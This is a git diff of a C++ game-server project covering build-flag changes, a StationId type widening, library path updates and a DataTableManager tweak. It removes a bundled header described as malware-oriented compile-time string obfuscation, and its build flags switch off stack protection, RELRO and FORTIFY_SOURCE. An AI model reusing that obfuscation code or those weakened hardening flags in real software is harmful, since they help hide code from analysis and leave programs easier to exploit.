diff --git a/CMakeLists.txt b/CMakeLists.txt index 56781220..40916b37 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,5 +1,3 @@ -cmake_policy(SET CMP0003 OLD) # or cmake_policy(VERSION 2.4) - cmake_minimum_required(VERSION 2.8) project(stellabellum C CXX) @@ -72,12 +70,12 @@ elseif (UNIX) # linker flags if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL") set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") else () set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") endif () - set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}") - # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3") @@ -91,26 +89,23 @@ elseif (UNIX) # Ofast doesn't work with gcc builds if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \ - -fno-signed-zeros -freciprocal-math -ffp-contract=fast \ - -fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \ - -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \ - -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \ - -finline-hint-functions -fno-unroll-loops") + -fno-threadsafe-statics -fslp-vectorize \ + -fno-stack-protector -fstrict-enums -finline-hint-functions \ + -fno-coverage-mapping -fno-spell-checking \ + -mno-retpoline") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb") # RELWITHDEBINFO is used for building bins that produce profdata files # we only need the basics of our heavy optimizations here, i think - that and one of these flags # breaks JNI when we profile - set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \ - -finline-hint-functions -fprofile-instr-generate") + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -finline-hint-functions -fprofile-instr-generate") # MINSIZEREL is used for profiled, flto builds set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") # O3 and Ofast include one or more flags that cause java to crash when using gcc6 - set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math - -fno-unroll-loops -fno-tree-loop-optimize") + set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3") @@ -118,17 +113,12 @@ elseif (UNIX) # our "always on" flags - build by default for the system we're on but include all instruction sets set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \ - -msse -msse2 -msse3 -mmmx -m3dnow \ -Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \ -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) - - # release and debug are internal use only - if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") - add_definitions(-DSTELLA_INTERNAL) - endif () + # if you'd like to opt in to our statistics, remove "-DSTELLA_INTERNAL" and your server will send us a heartbeat at startup + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) # this is so some profile specific stuff is turned on in the code if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") diff --git a/cmake/linux/FindJNI.cmake b/cmake/linux/FindJNI.cmake index ac423a6f..101c5718 100644 --- a/cmake/linux/FindJNI.cmake +++ b/cmake/linux/FindJNI.cmake @@ -89,6 +89,7 @@ get_filename_component(java_install_version "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit;CurrentVersion]" NAME) set(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/oraclejava /opt/java/lib /opt/java /opt/java/jre @@ -100,6 +101,7 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES file(TO_CMAKE_PATH "$ENV{JAVA_HOME}" _JAVA_HOME) JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/oraclejava /opt/java /opt/java/jre /opt/java/jre/lib @@ -161,6 +163,7 @@ endforeach() set(JAVA_AWT_INCLUDE_DIRECTORIES /opt/java/jre/include + /opt/oracle/jdk/include "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include" diff --git a/cmake/linux/FindOracle.cmake b/cmake/linux/FindOracle.cmake index ddc278fc..dc127e53 100644 --- a/cmake/linux/FindOracle.cmake +++ b/cmake/linux/FindOracle.cmake @@ -34,12 +34,12 @@ if(DEFINED ENV{ORACLE_HOME}) find_path(ORACLE_INCLUDE_DIR NAMES oci.h PATHS - /usr/include/oracle/12.1/client64 - /usr/include/oracle/12.1/client - /usr/lib/oracle/12.1/client64 - /usr/share/oracle/12.1/client64 - /usr/lib/oracle/12.1/client - /usr/share/oracle/12.1/client + /usr/include/oracle/12.2/client64 + /usr/include/oracle/12.2/client + /usr/lib/oracle/12.2/client64 + /usr/share/oracle/12.2/client64 + /usr/lib/oracle/12.2/client + /usr/share/oracle/12.2/client /usr/include/oracle/10.2.0.4/client64 /usr/include/oracle/10.2.0.4/client /usr/lib/oracle/10.2.0.4/client64 @@ -52,8 +52,9 @@ if(DEFINED ENV{ORACLE_HOME}) ${ORACLE_HOME}/OCI/include) # Oracle XE on Windows - set(ORACLE_OCI_NAMES clntsh libclntsh oci) - set(ORACLE_NNZ_NAMES nnz10 libnnz10 nnz11 libnnz11 nnz12 libnnz12 ociw32) + set(ORACLE_OCI_NAMES oci clntsh libclntsh) + set(ORACLE_OCI_CORENAMES clntshcore libclntshcore) + set(ORACLE_NNZ_NAMES nnz10 libnnz10 nnz11 libnnz11 nnz12 libnnz12 ociw32 libnnz12 nnz12) set(ORACLE_OCCI_NAMES libocci occi oraocci10 oraocci11 oraocci12) @@ -64,12 +65,12 @@ if(DEFINED ENV{ORACLE_HOME}) ${ORACLE_HOME}/OCI/lib/msvc) # Oracle XE on Windows + find_library(ORACLE_CORE_LIBRARY NAMES ${ORACLE_OCI_CORENAMES} PATHS ${ORACLE_LIB_DIR}) find_library(ORACLE_OCI_LIBRARY NAMES ${ORACLE_OCI_NAMES} PATHS ${ORACLE_LIB_DIR}) find_library(ORACLE_OCCI_LIBRARY NAMES ${ORACLE_OCCI_NAMES} PATHS ${ORACLE_LIB_DIR}) find_library(ORACLE_NNZ_LIBRARY NAMES ${ORACLE_NNZ_NAMES} PATHS ${ORACLE_LIB_DIR}) - - set(ORACLE_LIBRARY ${ORACLE_OCI_LIBRARY} ${ORACLE_OCCI_LIBRARY} ${ORACLE_NNZ_LIBRARY}) + set(ORACLE_LIBRARY ${ORACLE_OCI_LIBRARY} ${ORACLE_CORE_LIBRARY} ${ORACLE_OCCI_LIBRARY} ${ORACLE_NNZ_LIBRARY}) if(APPLE) diff --git a/engine/client/application/Miff/CMakeLists.txt b/engine/client/application/Miff/CMakeLists.txt index b13ae681..59bd87d2 100644 --- a/engine/client/application/Miff/CMakeLists.txt +++ b/engine/client/application/Miff/CMakeLists.txt @@ -1,4 +1,3 @@ - cmake_minimum_required(VERSION 2.8) project(Miff) diff --git a/engine/client/application/Miff/src/CMakeLists.txt b/engine/client/application/Miff/src/CMakeLists.txt index 116f41af..7b8a43c8 100644 --- a/engine/client/application/Miff/src/CMakeLists.txt +++ b/engine/client/application/Miff/src/CMakeLists.txt @@ -1,4 +1,3 @@ - if(WIN32) set(PLATFORM_SOURCES win32/InputFileHandler.cpp diff --git a/engine/server/application/CentralServer/src/shared/CentralServer.cpp b/engine/server/application/CentralServer/src/shared/CentralServer.cpp index 8e39542c..2da16b79 100755 --- a/engine/server/application/CentralServer/src/shared/CentralServer.cpp +++ b/engine/server/application/CentralServer/src/shared/CentralServer.cpp @@ -1233,7 +1233,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons DEBUG_REPORT_LOG(true, ("Pending character %lu is logging in or dropping\n", m.getAccountNumber())); // Once they're logged in, Central doesn't need to know about them anymore: - removeFromAccountConnectionMap(m.getAccountNumber()); + removeSuidFromAccountConnectionMap(m.getAccountNumber()); break; } case constcrc("CharacterListMessage") : { @@ -3419,7 +3419,7 @@ void CentralServer::addToAccountConnectionMap(StationId suid, ConnectionServerCo // ---------------------------------------------------------------------- -void CentralServer::removeFromAccountConnectionMap(StationId suid) +void CentralServer::removeSuidFromAccountConnectionMap(StationId suid) { ConnectionServerSUIDMap::iterator i=m_accountConnectionMap.find(suid); if (i!=m_accountConnectionMap.end()) diff --git a/engine/server/application/CentralServer/src/shared/CentralServer.h b/engine/server/application/CentralServer/src/shared/CentralServer.h index 22e6a7de..95b6dd25 100755 --- a/engine/server/application/CentralServer/src/shared/CentralServer.h +++ b/engine/server/application/CentralServer/src/shared/CentralServer.h @@ -169,7 +169,7 @@ public: void getCharacterMatchStatistics(int & numberOfCharacterMatchRequests, int & numberOfCharacterMatchResultsPerRequest, int & timeSpentPerCharacterMatchRequestMs); - void removeFromAccountConnectionMap(StationId suid); + void removeSuidFromAccountConnectionMap(StationId suid); private: void handleRequestGameServerForLoginMessage (const RequestGameServerForLoginMessage & msg); diff --git a/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp b/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp index 196f5a18..3c6f6335 100755 --- a/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp +++ b/engine/server/application/CentralServer/src/shared/ConnectionServerConnection.cpp @@ -254,7 +254,7 @@ void ConnectionServerConnection::onReceive(const Archive::ByteStream & message) s_pseudoClientConnectionMap[info.getValue().first] = std::make_pair(static_cast(info.getValue().second), this); // remove corresponding "non pseudo client connection" - CentralServer::getInstance().removeFromAccountConnectionMap(static_cast(info.getValue().first)); + CentralServer::getInstance().removeSuidFromAccountConnectionMap(static_cast(info.getValue().first)); break; } case constcrc("DestroyPseudoClientConnection") : @@ -443,4 +443,4 @@ void ConnectionServerConnection::removeFromAccountConnectionMap(unsigned int sta { s_pseudoClientConnectionMap.erase(f); } -} \ No newline at end of file +} diff --git a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp index 55fb16e6..d8f3c142 100755 --- a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp +++ b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.cpp @@ -161,7 +161,7 @@ void ConnectionServer::addGameConnection(unsigned long gameServerId, GameConnect //----------------------------------------------------------------------- bool -ConnectionServer::decryptToken(const KeyShare::Token &token, uint32 &stationUserId, bool &secure, std::string &accountName) { +ConnectionServer::decryptToken(const KeyShare::Token &token, StationId &stationUserId, bool &secure, std::string &accountName) { static ConnectionServer &cs = instance(); //Also the sizeof(int) is likewise magic from the session api @@ -179,7 +179,7 @@ ConnectionServer::decryptToken(const KeyShare::Token &token, uint32 &stationUser char *tmpBuffer = new char[MAX_ACCOUNT_NAME_LENGTH + 1]; memset(tmpBuffer, 0, MAX_ACCOUNT_NAME_LENGTH + 1); - memcpy(&stationUserId, keyBufferPointer, sizeof(uint32)); + memcpy(&stationUserId, keyBufferPointer, sizeof(StationId)); keyBufferPointer += sizeof(uint32); memcpy(&secure, keyBufferPointer, sizeof(bool)); keyBufferPointer += sizeof(bool); diff --git a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h index 36abc449..1e337661 100755 --- a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h +++ b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h @@ -48,7 +48,7 @@ class ConnectionServer : public MessageDispatch::Receiver static void addNewClient(ClientConnection* cconn, const NetworkId &oid, GameConnection* gconn, const std::string &sceneName, bool sendToStarport ); static void addConnectedClient(uint32 suid, ClientConnection* conn); static void addGameConnection(unsigned long gameServerId, GameConnection* gc); - static bool decryptToken(const KeyShare::Token & token, uint32 & stationUserId, bool & secure, std::string & accountName); + static bool decryptToken(const KeyShare::Token & token, StationId & stationUserId, bool & secure, std::string & accountName); static bool decryptToken(const KeyShare::Token & token, char* sessionKey, StationId & stationId); static CentralConnection * getCentralConnection(); static void dropClient(ClientConnection * conn, const std::string &description); diff --git a/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h b/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h index c8f95c55..258a1359 100755 --- a/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h +++ b/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h @@ -14,6 +14,7 @@ #include "sharedDatabaseInterface/BindableNetworkId.h" #include "sharedDatabaseInterface/DbQuery.h" #include "serverDatabase/ObjectLocator.h" +#include "sharedFoundation/StationId.h" #include // ====================================================================== @@ -63,7 +64,7 @@ class CharacterNameLocator : public ObjectLocator private: std::vector m_characterIds; - std::vector m_stationIds; + std::vector m_stationIds; std::vector m_characterNames; std::vector m_characterFullNames; std::vector m_characterCreateTime; diff --git a/engine/server/library/serverGame/src/shared/core/NameManager.cpp b/engine/server/library/serverGame/src/shared/core/NameManager.cpp index 3724892f..f5ea7c6d 100755 --- a/engine/server/library/serverGame/src/shared/core/NameManager.cpp +++ b/engine/server/library/serverGame/src/shared/core/NameManager.cpp @@ -189,7 +189,7 @@ int NameManager::getTotalPlayerCount() const // ---------------------------------------------------------------------- -void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers) +void NameManager::addPlayer(const NetworkId &id, StationId stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers) { std::string normalizedName(normalizeName(name)); @@ -221,14 +221,14 @@ void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::st if (notifyOtherServers) { std::vector ids; - std::vector stationIds; + std::vector stationIds; std::vector characterNames; std::vector characterFullNames; std::vector characterCreateTimes; std::vector characterLastLoginTimes; ids.push_back(id); - stationIds.push_back(static_cast(stationId)); + stationIds.push_back(stationId); characterNames.push_back(normalizedName); characterFullNames.push_back(fullName); characterCreateTimes.push_back(static_cast(createTime)); @@ -247,7 +247,7 @@ void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::st void NameManager::renamePlayer(const NetworkId &id, const Unicode::String &name, const Unicode::String &fullName) { - uint32 stationId = 0; + StationId stationId = 0; time_t createTime = 0; time_t lastLoginTime = 0; @@ -279,7 +279,7 @@ const NetworkId & NameManager::getPlayerId(const std::string &name) const // ---------------------------------------------------------------------- -uint32 NameManager::getPlayerStationId(const NetworkId &id) const +StationId NameManager::getPlayerStationId(const NetworkId &id) const { IdToCharacterDataMapType::const_iterator i=m_idToCharacterDataMap->find(id); if (i==m_idToCharacterDataMap->end()) @@ -464,7 +464,7 @@ void NameManager::releasePlayerName(const NetworkId &id) // ---------------------------------------------------------------------- -void NameManager::addPlayers(const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes) +void NameManager::addPlayers(const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes) { DEBUG_FATAL(ids.size() != stationIds.size(),("Programmer bug: Vectors ids and stationIds must be the same size.\n")); DEBUG_FATAL(ids.size() != names.size(),("Programmer bug: Vectors ids and names must be the same size.\n")); @@ -483,7 +483,7 @@ void NameManager::addPlayers(const std::vector &ids, const std::vecto void NameManager::sendAllNamesToServer (std::vector const & servers) const { std::vector ids; - std::vector stationIds; + std::vector stationIds; std::vector characterNames; std::vector characterFullNames; std::vector characterCreateTimes; @@ -492,7 +492,7 @@ void NameManager::sendAllNamesToServer (std::vector const & servers) con for (IdToCharacterDataMapType::const_iterator i=m_idToCharacterDataMap->begin(); i!=m_idToCharacterDataMap->end(); ++i) { ids.push_back(i->first); - stationIds.push_back(static_cast(i->second.stationId)); + stationIds.push_back(i->second.stationId); characterNames.push_back(i->second.characterName); characterFullNames.push_back(i->second.characterFullName); characterCreateTimes.push_back(static_cast(i->second.createTime)); diff --git a/engine/server/library/serverGame/src/shared/core/NameManager.h b/engine/server/library/serverGame/src/shared/core/NameManager.h index 6d440b16..f98940e2 100755 --- a/engine/server/library/serverGame/src/shared/core/NameManager.h +++ b/engine/server/library/serverGame/src/shared/core/NameManager.h @@ -8,6 +8,8 @@ #ifndef INCLUDED_NameManager_H #define INCLUDED_NameManager_H +#include "sharedFoundation/StationId.h" + // ====================================================================== class NameGenerator; @@ -32,13 +34,13 @@ class NameManager public: int getTotalPlayerCount () const; - void addPlayer (const NetworkId &id, uint32 stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers); - void addPlayers (const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes); + void addPlayer (const NetworkId &id, StationId stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers); + void addPlayers (const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes); void renamePlayer (const NetworkId &id, const Unicode::String &name, const Unicode::String &fullName); std::string debugGetNameList () const; bool isPlayer (NetworkId const & possiblePlayer) const; const NetworkId & getPlayerId (const std::string &name) const; - uint32 getPlayerStationId (const NetworkId &id) const; + StationId getPlayerStationId (const NetworkId &id) const; const std::string & getPlayerName (const NetworkId &id) const; const std::string & getPlayerFullName (const NetworkId &id) const; int getPlayerCreateTime (const NetworkId &id) const; @@ -78,7 +80,7 @@ class NameManager struct CharacterData { - uint32 stationId; + StationId stationId; std::string characterName; std::string characterFullName; time_t createTime; diff --git a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp index 587764ac..8dcb9a94 100755 --- a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp +++ b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp @@ -10,7 +10,7 @@ // ====================================================================== -CharacterNamesMessage::CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes) : +CharacterNamesMessage::CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes) : GameNetworkMessage("CharacterNamesMessage"), m_ids(), m_stationIds(), diff --git a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h index a693698b..047b32d0 100755 --- a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h +++ b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h @@ -8,6 +8,7 @@ #ifndef INCLUDED_CharacterNamesMessage_H #define INCLUDED_CharacterNamesMessage_H +#include "sharedFoundation/StationId.h" #include "sharedNetworkMessages/GameNetworkMessage.h" // ====================================================================== @@ -21,12 +22,12 @@ class CharacterNamesMessage : public GameNetworkMessage { public: - CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes); + CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes); CharacterNamesMessage(Archive::ReadIterator & source); ~CharacterNamesMessage(); const std::vector &getIds() const; - const std::vector &getStationIds() const; + const std::vector &getStationIds() const; const std::vector &getNames() const; const std::vector &getFullNames() const; const std::vector &getCreateTimes() const; @@ -34,7 +35,7 @@ class CharacterNamesMessage : public GameNetworkMessage private: Archive::AutoArray m_ids; - Archive::AutoArray m_stationIds; + Archive::AutoArray m_stationIds; Archive::AutoArray m_names; Archive::AutoArray m_fullNames; Archive::AutoArray m_createTimes; @@ -57,7 +58,7 @@ inline const std::vector & CharacterNamesMessage::getIds() const // ---------------------------------------------------------------------- -inline const std::vector & CharacterNamesMessage::getStationIds() const +inline const std::vector & CharacterNamesMessage::getStationIds() const { return m_stationIds.get(); } diff --git a/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp b/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp index 8f366d02..14ba5e8a 100755 --- a/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp +++ b/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp @@ -28,7 +28,6 @@ #include "sharedTemplate/SetupSharedTemplate.h" #pragma warning (disable:4100) // unreferenced formal parameters abound in the perforce clientAPI -//#include "clientapi.h" #pragma warning (default:4100) #include diff --git a/engine/shared/library/sharedFoundation/src/shared/StationId.h b/engine/shared/library/sharedFoundation/src/shared/StationId.h index a0d7872c..8633f774 100755 --- a/engine/shared/library/sharedFoundation/src/shared/StationId.h +++ b/engine/shared/library/sharedFoundation/src/shared/StationId.h @@ -10,7 +10,7 @@ // ====================================================================== -typedef uint32 StationId; +typedef int64 StationId; // ====================================================================== diff --git a/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h b/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h index 386c4ffb..8d7e87b2 100755 --- a/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h +++ b/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h @@ -10,6 +10,8 @@ #define PLATFORM_LINUX #include +#include + // ====================================================================== // basic types that we assume to be around @@ -20,11 +22,12 @@ typedef unsigned long uint32; typedef signed char int8; typedef signed short int16; typedef signed long int32; -typedef signed long long int int64; -typedef unsigned long long int uint64; typedef float real; typedef FILE* FILE_HANDLE; +typedef int64_t int64; +typedef u_int64_t uint64; + #endif diff --git a/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h b/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h index 622039d8..64864f82 100755 --- a/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h +++ b/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h @@ -7,6 +7,8 @@ // // ====================================================================== +#include + #ifndef INCLUDED_FoundationTypesWin32_H #define INCLUDED_FoundationTypesWin32_H @@ -28,6 +30,10 @@ typedef signed long int32; typedef signed __int64 int64; typedef int FILE_HANDLE; +typedef int64_t int64; +typedef u_int64_t uint64; + + // ====================================================================== #endif diff --git a/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp b/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp index f6f633c5..830ecb32 100755 --- a/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp +++ b/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp @@ -64,12 +64,17 @@ void DataTableManager::remove() // ---------------------------------------------------------------------- -DataTable* DataTableManager::open(const std::string& table) +DataTable* DataTableManager::open(const std::string& table, bool tryGetTable) { FATAL(!m_installed, ("DataTableManager::open: not installed.")); - DataTable *retVal = getTable(table, false); - if (retVal) - return retVal; + + DataTable *retVal = nullptr; + + if (tryGetTable) { + retVal = getTable(table, false); + if (retVal) + return retVal; + } if (!TreeFile::exists(table.c_str())) { @@ -125,7 +130,7 @@ DataTable * DataTableManager::getTable(const std::string& table, bool openIfNotF { if (openIfNotFound) { - DataTable * dt = open(table); + DataTable * dt = open(table, false); if (!dt) { DEBUG_WARNING(true, ("Could not find table [%s]", table.c_str())); diff --git a/engine/shared/library/sharedUtility/src/shared/DataTableManager.h b/engine/shared/library/sharedUtility/src/shared/DataTableManager.h index 40ff5647..273c73e8 100755 --- a/engine/shared/library/sharedUtility/src/shared/DataTableManager.h +++ b/engine/shared/library/sharedUtility/src/shared/DataTableManager.h @@ -32,7 +32,7 @@ public: private: static void remove(); - static DataTable * open(const std::string& table); + static DataTable * open(const std::string& table, bool tryGetTable = true); DataTableManager(); ~DataTableManager(); diff --git a/external/3rd/library/libLeff/libLeff.h b/external/3rd/library/libLeff/libLeff.h deleted file mode 100644 index f74b9282..00000000 --- a/external/3rd/library/libLeff/libLeff.h +++ /dev/null @@ -1,86 +0,0 @@ -#include -#include - -//-------------------------------------------------------------// -// "Malware related compile-time hacks with C++11" by LeFF // -// You can use this code however you like, I just don't really // -// give a shit, but if you feel some respect for me, please // -// don't cut off this comment when copy-pasting... ;-) // -//-------------------------------------------------------------// - -#ifndef vxCPLSEED -// If you don't specify the seed for algorithms, the time when compilation -// started will be used, seed actually changes the results of algorithms... -#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ - (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ - (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) -#endif - -// The constantify template is used to make sure that the result of constexpr -// function will be computed at compile-time instead of run-time -template struct vxCplConstantify { enum { Value = Const }; }; - -// Compile-time mod of a linear congruential pseudorandom number generator, -// the actual algorithm was taken from "Numerical Recipes" book -constexpr uint32_t vxCplRandom(uint32_t Id) { - return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF; -} - -// Compile-time random macros, can be used to randomize execution -// path for separate builds, or compile-time trash code generation -#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1))) -#define vxRAND() (vxCplConstantify::Value) - -// Compile-time recursive mod of string hashing algorithm, -// the actual algorithm was taken from Qt library (this -// function isn't case sensitive due to vxCplTolower) -constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); } - -constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); } - -constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) { - return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23)); -} - -constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); } - -constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); } - -// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence -#define vxHASH(Str) (uint32_t)(vxCplConstantify::Value ^ vxCplConstantify::Value) - -// Compile-time generator for list of indexes (0, 1, 2, ...) -template struct vxCplIndexList {}; -template struct vxCplAppend; -template - struct vxCplAppend, Right> { typedef vxCplIndexList Result; }; -template - struct vxCplIndexes { typedef typename vxCplAppend::Result, N - 1>::Result Result; }; -template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; }; - -// Compile-time string encryption of a single character -const int vxCplEncryptCharKey = vxRANDOM(0, 0xFF); - -constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); } - -// Compile-time string encryption class -template struct vxCplEncryptedString; - -template struct vxCplEncryptedString > { - char Value[sizeof...(Idx) + 1]; // Buffer for a string - - // Compile-time constructor - constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {} - - // Run-time decryption - char *decrypt() { - for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) { - this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t); - } - this->Value[sizeof...(Idx)] = '\0'; - return this->Value; - } -}; - -// Compile-time string encryption macro -#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str)) diff --git a/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h 